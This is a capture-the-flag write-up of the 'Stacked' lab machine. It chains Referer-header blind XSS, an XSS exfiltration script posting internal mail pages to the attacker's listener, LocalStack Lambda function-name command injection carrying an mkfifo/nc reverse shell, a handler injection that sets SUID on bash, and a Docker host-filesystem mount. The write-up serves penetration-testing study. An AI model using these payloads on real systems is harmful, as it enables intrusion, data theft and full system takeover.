Stacked
Gaining Access
Nmap scan:
$ nmap -p- --min-rate 3000 10.129.228.28
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-17 04:06 EDT
Nmap scan report for 10.129.228.28
Host is up (0.0074s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
2376/tcp open dockerDetailed scan:
$ nmap -p 80,2376 -sC -sV --min-rate 3000 10.129.228.28
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-17 04:09 EDT
Nmap scan report for 10.129.228.28
Host is up (0.014s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.41
|_http-title: Did not follow redirect to http://stacked.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
2376/tcp open ssl/docker?
| ssl-cert: Subject: commonName=stacked
| Subject Alternative Name: DNS:localhost, DNS:stacked, IP Address:0.0.0.0, IP Address:127.0.0.1, IP Address:172.17.0.1
| Not valid before: 2022-08-17T15:41:56
|_Not valid after: 2025-05-12T15:41:56
Service Info: Host: stacked.htbAdded stacked.htb to the /etc/hosts file based on the nmap scan results.
Web Enum
Port 80 just shows a basic count down page:

When I was about to do a wfuzz scan, I noticed something rather weird:
$ wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -H 'Host: FUZZ.stacked.htb' -u http://stacked.htb
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://stacked.htb/
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000032: 302 9 L 26 W 285 Ch "blog"
000000029: 302 9 L 26 W 288 Ch "privacy"
000000024: 302 9 L 26 W 283 Ch "12"
000000028: 302 9 L 26 W 287 Ch "spacer"
000000026: 302 9 L 26 W 286 Ch "about"
000000022: 302 9 L 26 W 286 Ch "warez"
000000021: 302 9 L 26 W 287 Ch "serial"
000000025: 302 9 L 26 W 288 Ch "contact"
000000027: 302 9 L 26 W 287 Ch "search"
000000023: 302 9 L 26 W 285 Ch "full"
000000020: 302 9 L 26 W 286 Ch "crack"For some reason, the length of the result is dependent on the sub-domain. Anyways, when filtering results by line length using the --hl 9 flag, I found a portfolio subdomain.
The portfolio page was promoting 'LocalStack Development':

In the About section, there's an option to download a file:

Here's the contents of the file:
$ cat docker-compose.yml
version: "3.3"
services:
localstack:
container_name: "${LOCALSTACK_DOCKER_NAME-localstack_main}"
image: localstack/localstack-full:0.12.6
network_mode: bridge
ports:
- "127.0.0.1:443:443"
- "127.0.0.1:4566:4566"
- "127.0.0.1:4571:4571"
- "127.0.0.1:${PORT_WEB_UI-8080}:${PORT_WEB_UI-8080}"
environment:
- SERVICES=serverless
- DEBUG=1
- DATA_DIR=/var/localstack/data
- PORT_WEB_UI=${PORT_WEB_UI- }
- LAMBDA_EXECUTOR=${LAMBDA_EXECUTOR- }
- LOCALSTACK_API_KEY=${LOCALSTACK_API_KEY- }
- KINESIS_ERROR_PROBABILITY=${KINESIS_ERROR_PROBABILITY- }
- DOCKER_HOST=unix:///var/run/docker.sock
- HOST_TMP_FOLDER="/tmp/localstack"
volumes:
- "/tmp/localstack:/tmp/localstack"
- "/var/run/docker.sock:/var/run/docker.sock"This localstack software was probably running on the machine, and there must be a method to access it.
There was a form on the page, and submitting it sends this request:

So this page is PHP based. I ran gobuster on this to enumerate some directories:
$ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php -u http://portfolio.stacked.htb
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://portfolio.stacked.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta.php (Status: 403) [Size: 286]
/.htaccess.php (Status: 403) [Size: 286]
/.htpasswd (Status: 403) [Size: 286]
/.htpasswd.php (Status: 403) [Size: 286]
/.hta (Status: 403) [Size: 286]
/.htaccess (Status: 403) [Size: 286]
/assets (Status: 301) [Size: 331] [--> http://portfolio.stacked.htb/assets/]
/css (Status: 301) [Size: 328] [--> http://portfolio.stacked.htb/css/]
/files (Status: 301) [Size: 330] [--> http://portfolio.stacked.htb/files/]
/functions.php (Status: 200) [Size: 0]
/js (Status: 301) [Size: 327] [--> http://portfolio.stacked.htb/js/]
/landing.php (Status: 200) [Size: 30268]
/process.php (Status: 200) [Size: 72]
/server-status (Status: 403) [Size: 286]I found it particularly weird that the form actually sent a request. Most of the time, these machines have static forms that do nothing.
Finding XSS -> Mail Subdomain
There was no other endpoint on this website, and I ran out of ideas. As such, I focused on entering random payloads in this form field.
Eventually I found that XSS was being checked for:

This could mean a simulated user was looking at my messages, and I have to find a way to bypass this (I literally had no other leads). Sending it still didn't work:

I was stuck here for really long. I could not bypass this weird check in any way. I thought about the fact that this process.php might be storing more than the actual message. It might be storing some additional information about the sender through the different HTTP headers.
I replaced the some of the HTTP headers with <script>document.location="http://10.10.14.18/hiiamxss_HEADERNAME"</script>. I did this for the User-Agent, Origin and Referer headers (the only ones without erroring out).
After a bit, I got a hit on my Python HTTP server:

The Referer header is vulnerable! Using this, I can now create a script to automate this.
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
proxies = {'http':'http://127.0.0.1:8080', 'https':'http://127.0.0.1:8080'}
URL = 'http://portfolio.stacked.htb'
headers = {
'Referer':'<script src="http://10.10.14.18/evil.js"/>'
}
data = {
'fullname':'Test',
'email':'test@test.com',
'tel':'111111111111',
'subject':'t',
'message':'yo!'
}
r = requests.post(URL + '/process.php', data=data, headers=headers, verify=False, proxies=proxies)Using the above, I can start to steal pages from the ports within the docker-compose.yml file.
First, I had the machine retrieve my page so I could see the headers. The page mentioned using XMLHttpRequest, so I used just that:
var req = new XMLHttpRequest();
req.open("POST", "http://10.10.14.18:8000/", false);
req.send(null);I started a listener port on port 8000, and this is the output from the request:
$ nc -lvnp 8000
listening on [any] 8000 ...
connect to [10.10.14.18] from (UNKNOWN) [10.129.228.28] 60794
POST / HTTP/1.1
Host: 10.10.14.18:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://mail.stacked.htb/read-mail.php?id=2
Origin: http://mail.stacked.htb
Connection: keep-alive
Content-Length: 0There was a mail.stacked.htb domain!
Mail Enum -> S3 Bucket
I started to enumerate this instance by retrieving the page contents using this Python HTTP server for POST requests:
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import parse_qs
class MyRequestHandler(BaseHTTPRequestHandler):
def do_POST(self):
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length)
params = parse_qs(post_data.decode('utf-8'))
self.send_response(200)
self.send_header('Content-type', 'text/plain')
self.end_headers()
for key, values in params.items():
print(f"{key}: {values}")
def run_server(port=8000):
server_address = ('', port)
httpd = HTTPServer(server_address, MyRequestHandler)
print(f"Server running on port {port}")
httpd.serve_forever()
if __name__ == '__main__':
run_server()Here's the script I used to retrieve the page contents:
var url = "http://mail.stacked.htb/";
var attacker = "http://10.10.14.18:8000/exfil";
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var exfilxhr = new XMLHttpRequest();
exfilxhr.open('POST', attacker, false);
exfilxhr.send(xhr.responseText);
}
};
xhr.open('GET', url, true);
xhr.send(null);The output from this was a HTML page for an AdminLTE3 mailbox:

Interesting! I also noted that in the initial request, I saw the Referer header was set to http://mail.stacked.htb/read-mail.php?id=2. I changed the URL to make have the id parameter set to 1, and stole the page.
There was this interesting chunk here:

AWS Lambda RCE
There were some AWS terms in the docker-compose.yml like LAMBDA_EXECUTOR and SERVICES=serverless.
I went to read more about all of these, and found that for AWS, serverless means there is no infrastructure to be handled. Lambdas are a serverless, event-driven compute service used to run code without managing servers. From this, it appears abusing Lambdas is the next step.
In the documentation linked above, there are steps. First, I used their example file:
exports.handler = async function(event, context) {
console.log("ENVIRONMENT VARIABLES\n" + JSON.stringify(process.env, null, 2))
console.log("EVENT\n" + JSON.stringify(event, null, 2))
return context.logStreamName
}Then, zip this to create a deployment package:
zip function.zip index.jsThen use create-function to create the function.
$ aws lambda create-function --function-name my-function --zip-file fileb://function.zip --handler index.handler --runtime nodejs12.x --endpoint-url http://s3-testing.stacked.htb --role arn:aws:iam::123456789012:role/lambda-ex
{
"FunctionName": "my-function",
"FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:my-function",
"Runtime": "nodejs12.x",
"Role": "arn:aws:iam::123456789012:role/lambda-ex",
"Handler": "index.handler",
"CodeSize": 321,
"Description": "",
"Timeout": 3,
"LastModified": "2024-03-17T10:20:23.194+0000",
"CodeSha256": "FnxeIaNQovK1apt/9eYBbnztePtHivqhO0rLkPcRgiY=",
"Version": "$LATEST",
"VpcConfig": {},
"TracingConfig": {
"Mode": "PassThrough"
},
"RevisionId": "c68e5593-e940-49f2-8974-df907836e04f",
"State": "Active",
"LastUpdateStatus": "Successful",
"PackageType": "Zip"
}The box did not have nodejs20.x, so I replaced it with nodejs12.x which was present.
This function can be invoked using the invoke command:
$ aws lambda invoke --function-name my-function out --log-type Tail --endpoint-url http://s3-testing.stacked.htb
{
"StatusCode": 200,
"LogResult": "G1szMm1TVEFSVCBSZXF1ZXN0SWQ6IGExMjUwYTcwLWMzOWItMWJmMC0wNzk3LWU3OWE2ZGU2MTgxMSBWZXJzaW9uOiAkTEFURV....,
"ExecutedVersion": "$LATEST"
}However, there was nothing I could do with this! The machine was serverless, so the container run would die after a few seconds.
Localstack + AWS -> RCE
So now I know I can at least run Javascript somewhere on the machine. Researching for LocalStack RCE exploits returned these 2 pages:
In short, there's an RCE exploit in the dashboard, which I assume is running on port 8080 based the docker-compose.yml file.
The specific vulnerability lies in the functionName parameter, which is taken fron the name of the Lambda function executed. To exploit this, I have to specify a malicious function name within the AWS instance.
This is triggered from loading the dashboard, so I can change the initial XSS payload to just visit http://127.0.0.1:8080 instead of loading a remote script via document.location.
Based on the SonarSource blog, the payload is just the command to be executed:
aws lambda get-function --function-name test;touch sonarsource.txtTo exploit this, I created a new function:
$ aws lambda create-function --function-name "test;ping -c 1 10.10.14.18; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.18 443 >/tmp/f"....The ping command is used for making sure it works. Afterwards, I made the site visit http://127.0.0.1:8080 via XSS, and I got a shell!

I can then grab the user flag from /home/localstack.
Privilege Escalation
Lambda Processes -> Container Root
This container did not have anything useful within it. I ran pspy64 and the processes created when I used aws for the initial RCE:
(.venv) /tmp $ ./pspy64
2024/03/17 11:28:02 CMD: UID=1001 PID=481 | /bin/sh -c { test `which aws` || . .venv/bin/activate; }; aws --endpoint-url="http://localhost:4566" lambda list-event-source-mappings --function-name test;ping -c 1 10.10.14.18; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.18 443 >/tmp/f
2024/03/17 11:28:02 CMD: UID=0 PID=25 | python bin/localstack start --host
2024/03/17 11:28:02 CMD: UID=1001 PID=24 | python bin/localstack web
2024/03/17 11:28:02 CMD: UID=1001 PID=23 | make web
2024/03/17 11:28:02 CMD: UID=0 PID=22 | make infra
2024/03/17 11:28:02 CMD: UID=1001 PID=21 | bash -c if [ "$START_WEB" = "0" ]; then exit 0; fi; make web
2024/03/17 11:28:02 CMD: UID=0 PID=17 | tail -qF /tmp/localstack_infra.log /tmp/localstack_infra.err
2024/03/17 11:28:02 CMD: UID=0 PID=15 | /usr/bin/python3.8 /usr/bin/supervisord -c /etc/supervisord.conf
2024/03/17 11:28:02 CMD: UID=0 PID=106 | node /opt/code/localstack/localstack/node_modules/kinesalite/cli.js --shardLimit 100 --port 44705 --createStreamMs 500 --deleteStreamMs 500 --updateStreamMs 500 --path /var/localstack/data/kinesis
2024/03/17 11:30:48 CMD: UID=0 PID=556 | unzip -o -q /tmp/localstack/zipfile.924d85b0/original_lambda_archive.zip
2024/03/17 11:28:02 CMD: UID=0 PID=1 | /bin/bash /usr/local/bin/docker-entrypoint.sh I noticed that there was a .zip file created.
When I invoked my function, it would do a few more commands that were pretty long.
2024/03/17 11:31:31 CMD: UID=0 PID=568 | /bin/sh -c CONTAINER_ID="$(docker create -i -e DOCKER_LAMBDA_USE_STDIN="$DOCKER_LAMBDA_USE_STDIN" -e LOCALSTACK_HOSTNAME="$LOCALSTACK_HOSTNAME" -e EDGE_PORT="$EDGE_PORT" -e _HANDLER="$_HANDLER" -e AWS_LAMBDA_FUNCTION_TIMEOUT="$AWS_LAMBDA_FUNCTION_TIMEOUT" -e AWS_LAMBDA_FUNCTION_NAME="$AWS_LAMBDA_FUNCTION_NAME" -e AWS_LAMBDA_FUNCTION_VERSION="$AWS_LAMBDA_FUNCTION_VERSION" -e AWS_LAMBDA_FUNCTION_INVOKED_ARN="$AWS_LAMBDA_FUNCTION_INVOKED_ARN" -e AWS_LAMBDA_COGNITO_IDENTITY="$AWS_LAMBDA_COGNITO_IDENTITY" -e NODE_TLS_REJECT_UNAUTHORIZED="$NODE_TLS_REJECT_UNAUTHORIZED" --rm "lambci/lambda:nodejs12.x" "index.handler")";docker cp "/tmp/localstack/zipfile.924d85b0/." "$CONTAINER_ID:/var/task"; docker start -ai "$CONTAINER_ID";The above simply created a Docker container in a subshell, and I was looknig for things ICould control. index.handler was the one input I could change.
As such, I created a function with chmod u+s /bin/bash appended to the back since the index.handler string was already in a subshell.
$ aws lambda create-function --function-name "test1" --zip-file fileb://function.zip --handler 'index.handler; $(chmod u+s /bin/bash)' --runtime nodejs12.x --endpoint-url http://s3-testing.stacked.htb --role arn:aws:iam::123456789012:role/lambda-ex
$ aws lambda invoke --function-name test1 --endpoint-url http://s3-testing.stacked.htb outAfterwards, I could become root:

Docker -> Root File Access
The main thing I wanted to enumerate first was docker, since this container was spawning other containers. It might be possible that it had an image for the machine with the flag in it.
As root, I can use it to view the current running containers and images present:
# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
7dc04fa2d220 localstack/localstack-full:0.12.6 "docker-entrypoint.sh" 4 hours ago Up 4 hours 127.0.0.1:443->443/tcp, 127.0.0.1:4566->4566/tcp, 127.0.0.1:4571->4571/tcp, 127.0.0.1:8080->8080/tcp localstack_main
# docker image ls
REPOSITORY TAG IMAGE ID CREATED SIZE
localstack/localstack-full 0.12.6 7085b5de9f7c 2 years ago 888MB
localstack/localstack-full <none> 0601ea177088 3 years ago 882MB
lambci/lambda nodejs12.x 22a4ada8399c 3 years ago 390MB
lambci/lambda nodejs10.x db93be728e7b 3 years ago 385MB
lambci/lambda nodejs8.10 5754fee26e6e 3 years ago 813MBI checked each of them, and found that localstack-full was the correct one to use.
# docker run -d -v /:/mnt -it 0601ea177088
c5807cc0f7b2de02ee658a592c37560d5cb4f216f50cfd6a4501e51ff025d55a
# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
c5807cc0f7b2 0601ea177088 "docker-entrypoint.sh" 29 seconds ago Up 28 seconds 4566/tcp, 4571/tcp, 8080/tcp elastic_maxwell
7dc04fa2d220 localstack/localstack-full:0.12.6 "docker-entrypoint.sh" 4 hours ago Up 4 hours 127.0.0.1:443->443/tcp, 127.0.0.1:4566->4566/tcp, 127.0.0.1:4571->4571/tcp, 127.0.0.1:8080->8080/tcp localstack_maiNow, I could execute commands on it, and I had mounted the root file directory at /mnt, allowing me to grab the flag:

Using this, I could ssh into the machine as root since I had access to the root user's .ssh directory:

Rooted!
Last updated